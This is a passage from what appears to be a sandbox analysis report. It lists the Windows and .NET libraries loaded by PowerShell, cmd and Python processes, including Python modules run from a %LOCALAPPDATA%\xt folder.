parameter VERSION.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003044) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003108) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003108) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003108) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003108) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00005872) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006572) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006572) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006572) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006572) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00006572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006572) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00006572) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00006572) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006572) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00006572) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00006572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00006572) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00006572) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006572) "python.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007628) "python.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007628) "python.exe" called "LoadLibrary" with a parameter api-ms-win-core-file-l2-1-4 (UID: 00000000-00007628) "python.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007628) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\xt\_bz2.pyd (UID: 00000000-00007628) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\xt\_lzma.pyd (UID: 00000000-00007628) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\xt\_zstd.pyd (UID: 00000000-00007628) "python.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007628) "python.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007708) "python.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007708) "python.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007708) "python.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007708) "python.exe" called "LoadLibrary" with a parameter api-ms-win-core-file-l2-1-4 (UID: 00000000-00007708) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\xt\python3 (UID: 00000000-00007708) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\xt\_ctypes.pyd (UID: 00000000-00007708) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\xt\_bz2.pyd (UID: 00000000-00007708) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\xt\_lzma.pyd (UID: 00000000-00007708) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\xt\_zstd.pyd (UID: 00000000-00007708) "python.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007708) "python.exe" called "LoadLibrary" with a parameter 